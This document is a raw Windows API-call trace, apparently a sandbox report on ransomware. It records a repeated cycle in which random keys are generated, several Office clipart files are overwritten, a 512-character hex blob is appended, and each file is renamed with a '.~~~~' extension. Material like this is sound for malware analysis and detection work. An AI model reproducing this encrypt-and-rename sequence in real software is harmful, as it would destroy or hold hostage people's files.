	[0104.734] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0104.735] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0104.735] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0104.735] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0104.735] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0104.735] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0104.735] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=22472521542) returned 1
	[0104.735] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xa81ab290, dwHighDateTime=0x1d60e1e)) 
	[0104.735] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0104.735] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0104.735] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0104.735] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x286c678
	[0104.735] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0104.736] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x286c678 | out: hHeap=0x300000) returned 1
	[0104.736] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0104.736] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0104.736] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x293f000
	[0104.736] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0104.736] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2869c38
	[0104.736] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x293f000 | out: hHeap=0x300000) returned 1
	[0104.736] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0104.736] GetLastError () returned 0x0
	[0104.736] GetLastError () returned 0x0
	[0104.736] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0104.736] GetLastError () returned 0x0
	[0104.737] GetLastError () returned 0x0
	[0104.739] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0xfffff0ca, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0104.739] WriteFile (in: hFile=0x144, lpBuffer=0x28e0048*, nNumberOfBytesToWrite=0xf36, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e0048*, lpNumberOfBytesWritten=0x24dfec0*=0xf36, lpOverlapped=0x0) returned 1
	[0104.740] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e0048 | out: hHeap=0x300000) returned 1
	[0104.740] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0104.740] WriteFile (in: hFile=0x144, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0104.740] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0104.740] WriteFile (in: hFile=0x144, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0104.741] CloseHandle (hObject=0x144) returned 1
	[0104.741] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x293f000
	[0104.741] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200611.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200611.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200611.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200611.wmf.~~~~")) returned 1
	[0104.742] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x293f000 | out: hHeap=0x300000) returned 1
	[0104.742] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0104.743] GetLastError () returned 0x0
	[0104.743] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0104.744] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0104.744] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0104.744] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0104.744] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0104.744] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0104.744] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=22473450478) returned 1
	[0104.744] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xa81ab290, dwHighDateTime=0x1d60e1e)) 
	[0104.744] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0104.745] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0104.745] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0104.745] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x286c6b0
	[0104.745] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0104.745] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x286c6b0 | out: hHeap=0x300000) returned 1
	[0104.745] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0104.745] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0104.745] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x293f000
	[0104.745] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0104.745] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2869cd0
	[0104.745] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x293f000 | out: hHeap=0x300000) returned 1
	[0104.745] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0104.745] GetLastError () returned 0x0
	[0104.746] GetLastError () returned 0x0
	[0104.746] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0104.746] GetLastError () returned 0x0
	[0104.746] GetLastError () returned 0x0
	[0104.749] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0xffff5af2, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0104.749] WriteFile (in: hFile=0x144, lpBuffer=0x28e0048*, nNumberOfBytesToWrite=0xa50e, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e0048*, lpNumberOfBytesWritten=0x24dfec0*=0xa50e, lpOverlapped=0x0) returned 1
	[0104.750] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e0048 | out: hHeap=0x300000) returned 1
	[0104.751] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0104.751] WriteFile (in: hFile=0x144, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0104.751] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0104.751] WriteFile (in: hFile=0x144, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0104.751] CloseHandle (hObject=0x144) returned 1
	[0104.751] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x293f000
	[0104.751] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0202045.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0202045.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0202045.JPG.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0202045.jpg.~~~~")) returned 1
	[0104.752] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x293f000 | out: hHeap=0x300000) returned 1
	[0104.752] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0104.752] GetLastError () returned 0x0
	[0104.753] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0104.754] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0104.754] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0104.754] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0104.754] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0104.754] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0104.754] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=22474457220) returned 1
	[0104.755] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xa81d13f0, dwHighDateTime=0x1d60e1e)) 
	[0104.755] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0104.755] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0104.755] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0104.755] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x286c6e8
	[0104.755] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0104.755] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x286c6e8 | out: hHeap=0x300000) returned 1
	[0104.755] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0104.755] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0104.755] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x293f000
	[0104.755] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0104.755] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2869d68
	[0104.755] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x293f000 | out: hHeap=0x300000) returned 1
	[0104.755] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0104.756] GetLastError () returned 0x0
	[0104.756] GetLastError () returned 0x0
	[0104.756] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0104.756] GetLastError () returned 0x0
	[0104.756] GetLastError () returned 0x0
	[0104.761] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0xffff918c, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0104.761] WriteFile (in: hFile=0x144, lpBuffer=0x28e0048*, nNumberOfBytesToWrite=0x6e74, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e0048*, lpNumberOfBytesWritten=0x24dfec0*=0x6e74, lpOverlapped=0x0) returned 1
	[0104.763] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e0048 | out: hHeap=0x300000) returned 1
	[0104.763] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0104.763] WriteFile (in: hFile=0x144, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0104.763] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0104.763] WriteFile (in: hFile=0x144, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0104.764] CloseHandle (hObject=0x144) returned 1
	[0104.765] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x2961ee0
	[0104.765] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0211981.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0211981.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0211981.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0211981.wmf.~~~~")) returned 1
	[0104.766] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2961ee0 | out: hHeap=0x300000) returned 1
	[0104.766] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0104.766] GetLastError () returned 0x0
	[0104.767] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0104.768] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0104.768] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0104.768] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0104.768] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0104.768] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0104.768] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=22475862534) returned 1
	[0104.769] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xa81f7550, dwHighDateTime=0x1d60e1e)) 
	[0104.769] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0104.769] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0104.769] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0104.769] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x286c758
	[0104.769] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0104.769] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x286c758 | out: hHeap=0x300000) returned 1
	[0104.769] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0104.769] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0104.769] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x2961ee0
	[0104.769] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0104.769] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2869e00
	[0104.769] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2961ee0 | out: hHeap=0x300000) returned 1
	[0104.769] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0104.769] GetLastError () returned 0x0
	[0104.770] GetLastError () returned 0x0
	[0104.770] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0104.770] GetLastError () returned 0x0
	[0104.770] GetLastError () returned 0x0
	[0104.772] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0xffffda34, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0104.772] WriteFile (in: hFile=0x144, lpBuffer=0x28e0048*, nNumberOfBytesToWrite=0x25cc, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e0048*, lpNumberOfBytesWritten=0x24dfec0*=0x25cc, lpOverlapped=0x0) returned 1
	[0104.774] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e0048 | out: hHeap=0x300000) returned 1
	[0104.774] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0104.774] WriteFile (in: hFile=0x144, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0104.774] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0104.774] WriteFile (in: hFile=0x144, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0104.774] CloseHandle (hObject=0x144) returned 1
	[0104.774] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x2961ee0
	[0104.774] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212601.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0212601.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212601.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0212601.wmf.~~~~")) returned 1
	[0104.775] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2961ee0 | out: hHeap=0x300000) returned 1
	[0104.775] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0104.775] GetLastError () returned 0x0
	[0104.776] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0104.777] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363080 | out: pbBuffer=0x363080) returned 1
	[0104.777] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0104.777] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363080 | out: hHeap=0x300000) returned 1
	[0104.777] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0104.777] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0104.777] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=22476734819) returned 1
	[0104.777] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xa81f7550, dwHighDateTime=0x1d60e1e)) 
	[0104.777] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0104.777] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0104.777] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0104.778] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x286c790
	[0104.778] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x358348
	[0104.778] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x286c790 | out: hHeap=0x300000) returned 1
	[0104.778] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0104.778] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x358348 | out: hHeap=0x300000) returned 1
	[0104.778] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x2961ee0
	[0104.779] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0104.779] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2869f30
	[0104.779] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2961ee0 | out: hHeap=0x300000) returned 1
	[0104.779] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0104.779] GetLastError () returned 0x0
	[0104.779] GetLastError () returned 0x0
	[0104.779] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0104.779] GetLastError () returned 0x0
	[0104.779] GetLastError () returned 0x0
	[0104.784] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0xffffe666, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0104.785] WriteFile (in: hFile=0x144, lpBuffer=0x28e0048*, nNumberOfBytesToWrite=0x199a, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e0048*, lpNumberOfBytesWritten=0x24dfec0*=0x199a, lpOverlapped=0x0) returned 1
	[0104.786] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e0048 | out: hHeap=0x300000) returned 1
	[0104.786] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0104.786] WriteFile (in: hFile=0x144, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0104.786] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0104.786] WriteFile (in: hFile=0x144, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0104.786] CloseHandle (hObject=0x144) returned 1
	[0104.787] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x2961ee0
	[0104.787] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212685.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0212685.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212685.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0212685.wmf.~~~~")) returned 1
